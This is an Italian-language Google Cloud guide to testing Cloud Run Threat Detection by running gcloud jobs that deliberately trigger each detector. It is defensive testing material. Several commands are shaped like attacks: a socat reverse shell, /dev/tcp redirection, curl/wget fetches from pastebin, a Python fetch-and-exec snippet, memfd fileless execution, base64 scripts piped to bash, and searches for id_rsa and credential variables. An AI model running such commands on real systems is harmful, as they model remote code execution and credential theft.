Questa pagina spiega come verificare il funzionamento di Cloud Run Threat Detection attivando intenzionalmente i rilevatori e controllando i risultati. Cloud Run Threat Detection è un servizio integrato di Security Command Center.
Prima di iniziare
Per rilevare potenziali minacce ai servizi e ai job di Cloud Run, assicurati che il Cloud Run Threat Detection servizio sia abilitato in Security Command Center. Alcuni rilevatori sono disabilitati per impostazione predefinita. Per testare quei rilevatori, devi prima abilitarli.
Imposta le variabili di ambiente
Per testare i rilevatori, utilizza la Google Cloud console e Cloud Shell. Puoi impostare le variabili di ambiente in Cloud Shell per eseguire i comandi in modo più pratico. Utilizzerai queste variabili per testare tutti i rilevatori.
Vai alla Google Cloud console.
Seleziona il progetto che contiene il job Cloud Run che vuoi utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente:
Imposta il progetto e la regione in cui creerai i job di test.
export PROJECT=PROJECT_ID export REGION=REGION
Una volta impostate le variabili di ambiente, puoi continuare a seguire le istruzioni per testare i rilevatori.
Comando e controllo: strumento di steganografia rilevato
Per attivare un Command and Control: Steganography Tool Detected (anteprima)
risultato, esegui un file binario con funzionalità di manipolazione dei file coerenti con gli strumenti di
steganografia all'interno di un container. Questo esempio copia /bin/ls e lo rinomina in steghide.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Command and Control: Steganography Tool
Detected.
Accesso alle credenziali: Find Google Cloud Credentials
Per attivare un risultato Credential Access: Find Google Cloud Credentials,
esegui un file binario in grado di cercare i contenuti dei file all'interno di un
container. Questo esempio copia /bin/ls, lo rinomina in grep e lo esegue con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Credential Access: Find Google Cloud Credentials
risultato.
Accesso alle credenziali: ricognizione chiave GPG
Per attivare un risultato Credential Access: GPG Key Reconnaissance, esegui uno strumento di ricerca con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Credential Access: GPG Key Reconnaissance.
Accesso alle credenziali: cerca chiavi private o password
Per attivare un risultato Credential Access: Search Private Keys or Passwords, esegui uno strumento di ricerca con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Credential Access: Search Private Keys or
Passwords.
Evasione della difesa: riga di comando file ELF Base64
Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, esegui
base64 con argomenti di intestazione ELF codificati.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line.
Evasione della difesa: script Python con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed, esegui echo con un comando Python codificato.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Python Script Executed.
Evasione della difesa: script shell con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed, esegui echo con un comando shell codificato.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Base64 Encoded Shell Script Executed.
Evasione della difesa: avvia strumento di compilazione codice nel container
Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container
(anteprima), esegui uno strumento di compilazione.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool
In Container.
Esecuzione: file binario aggiuntivo dannoso eseguito
Per attivare un risultato Execution: Added Malicious Binary Executed, aggiungi un file binario dannoso (EICAR) al container ed eseguilo.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Added Malicious Binary Executed.
Esecuzione: libreria dannosa aggiuntiva caricata
Per attivare un risultato Execution: Added Malicious Library Loaded, aggiungi
una libreria dannosa nel container e caricala. Questo esempio aggiorna il file /tmp/test_mal_lib con una libreria dannosa simulata e poi la carica utilizzando mmap. Il caricamento della libreria di un file esistente è imprevisto perché il file non era nell'immagine container originale e la libreria è un file di test EICAR, classificato come dannoso da Threat Intelligence.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Added Malicious Library Loaded.
Esecuzione: container escape
Per attivare un risultato Execution: Container Escape, esegui uno strumento che simula il comportamento di container escape.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Container Escape.
Esecuzione: esecuzione senza file in /memfd:
Per attivare un risultato Execution: Fileless Execution in /memfd:,
esegui un processo dal file system in memoria /memfd: utilizzando Python.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command bash \
--args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Fileless Execution in /memfd:.
Esecuzione: esecuzione dello strumento di attacco Kubernetes
Per attivare un risultato Execution: Kubernetes Attack Tool Execution, esegui un programma che corrisponde a uno strumento di attacco noto.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Kubernetes Attack Tool Execution.
Esecuzione: esecuzione degli strumenti di ricognizione locale
Per attivare un risultato Execution: Local Reconnaissance Tool Execution, esegui un programma che corrisponde a uno strumento di ricognizione.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Execution: Local Reconnaissance Tool
Execution risultato.
Esecuzione: Python dannoso eseguito
Per attivare un risultato Execution: Malicious Python Executed, esegui uno script Python che imita un comportamento dannoso.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os
url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/python:latest \
--task-timeout 700 \
--command bash \
--args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Malicious Python Executed. Tieni presente che questo test può richiedere fino a 15 minuti per generare un risultato.
Esecuzione: file binario dannoso modificato eseguito
Per attivare un risultato Execution: Modified Malicious Binary Executed, modifica un file binario in modo che corrisponda a una firma dannosa nota (EICAR).
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Modified Malicious Binary Executed.
Esecuzione: libreria dannosa modificata caricata
Per attivare un risultato Execution: Modified Malicious Library Loaded, modifica un file esistente con una libreria dannosa nel container e caricala. Questo esempio aggiorna il file /etc/issue con una libreria dannosa simulata e poi la carica utilizzando mmap. Il caricamento della libreria
di un file esistente è imprevisto perché la libreria è un file di test EICAR, classificato come dannoso da Threat Intelligence.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Modified Malicious Library Loaded.
Esecuzione: esecuzione del codice remoto Netcat nel container
Per attivare un evento Execution: Netcat Remote Code Execution In Container, esegui netcat con argomenti sospetti.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Netcat Remote Code Execution In
Container.
Esecuzione: possibile esecuzione di comandi arbitrari tramite CUPS (CVE-2024-47076)
Per attivare un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), esegui uno script che simula l'exploit.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).
Esecuzione: possibile esecuzione di comando remoto rilevata
Per attivare un risultato Execution: Possible Remote Command Execution Detected
(anteprima), esegui un comando che tenta una connessione remota.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Execution: Possible Remote Command
Execution Detected risultato.
Esecuzione: esecuzione del programma con ambiente proxy HTTP non consentito
Per attivare un risultato Execution: Program Run with Disallowed HTTP Proxy Env, esegui un programma con una variabile di ambiente proxy non valida.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Execution: Program Run with Disallowed
HTTP Proxy Env risultato.
Esecuzione: rilevata reverse shell Socat
Per attivare un risultato Execution: Socat Reverse Shell Detected, stabilisci una reverse shell utilizzando l'utilità socat.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Socat Reverse Shell Detected.
Esecuzione: oggetto condiviso OpenSSL sospetto caricato
Per attivare un risultato Execution: Suspicious OpenSSL Shared Object Loaded, esegui openssl con una libreria sospetta.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Suspicious OpenSSL Shared Object Loaded.
Esfiltrazione: avvia strumenti di copia file remoti nel container
Per attivare un risultato Exfiltration: Launch Remote File Copy Tools In Container, esegui uno strumento di copia remota.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Exfiltration: Launch Remote File Copy Tools
In Container risultato.
Impatto: rileva cmdline dannose
Per attivare un risultato Impact: Detect Malicious Cmdlines (anteprima),
esegui un nome di comando sospetto (IPFS).
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Detect Malicious Cmdlines.
Impatto: rimuovi dati collettivi dal disco
Per attivare un risultato Impact: Remove Bulk Data From Disk, esegui uno strumento come shred.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Impact: Remove Bulk Data From Disk.
Impatto: attività sospetta di cryptomining mediante il protocollo Stratum
Per attivare un risultato Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol, esegui un file binario con argomenti simili a quelli utilizzati dal
software di cryptomining che comunica utilizzando il protocollo Stratum.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol risultato.
Script dannoso eseguito
Per attivare un risultato Malicious Script Executed, esegui uno script che imita un comportamento dannoso.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Malicious Script Executed.
Rilevato URL dannoso
Per attivare un risultato Malicious URL Observed, esegui un file binario e fornisci un URL dannoso come argomento.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test attiva un risultato Malicious URL Observed.
Escalation dei privilegi: abuso di sudo per l'escalation dei privilegi (CVE-2019-14287)
Per attivare un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287), esegui il file binario sudo con il parametro -u#-1.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287).
Escalation dei privilegi: potenziale escalation dei privilegi sudo (CVE-2021-3156)
Per attivare un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156), esegui il file binario sudo con il parametro -s e un parametro che termina con ``.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156).
Escalation dei privilegi: vulnerabilità di escalation dei privilegi locali di Polkit (CVE-2021-4034)
Per attivare un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034), esegui un file binario pkexec con la variabile di ambiente GCONV_PATH impostata come utente non root.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034).
Reverse shell
Per attivare un risultato Reverse Shell, avvia un file binario con il reindirizzamento stdin a un socket connesso a TCP.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Reverse Shell.
Shell secondaria imprevista
Per testare il rilevatore Unexpected Child Shell, crea un albero di processi che includa un processo shell secondario.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--task-timeout 700 \
--args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Unexpected Child Shell. Tieni presente che questo test può richiedere fino a 15 minuti per generare un risultato.
Esecuzione: immagine Docker per il cryptomining
Per attivare un risultato Execution: Cryptomining Docker Image, esegui il deployment di un container utilizzando un nome di immagine Docker associato al software di cryptomining.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Questa procedura di test crea un risultato Execution: Cryptomining Docker Image. Tieni presente che il deployment del job non riuscirà perché l'immagine non esiste, ma il risultato verrà comunque generato.
Impatto: comandi di cryptomining
Per attivare un risultato Impact: Cryptomining Commands, esegui un comando con argomenti simili a quelli del software di cryptomining noto.
Crea ed esegui il job Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
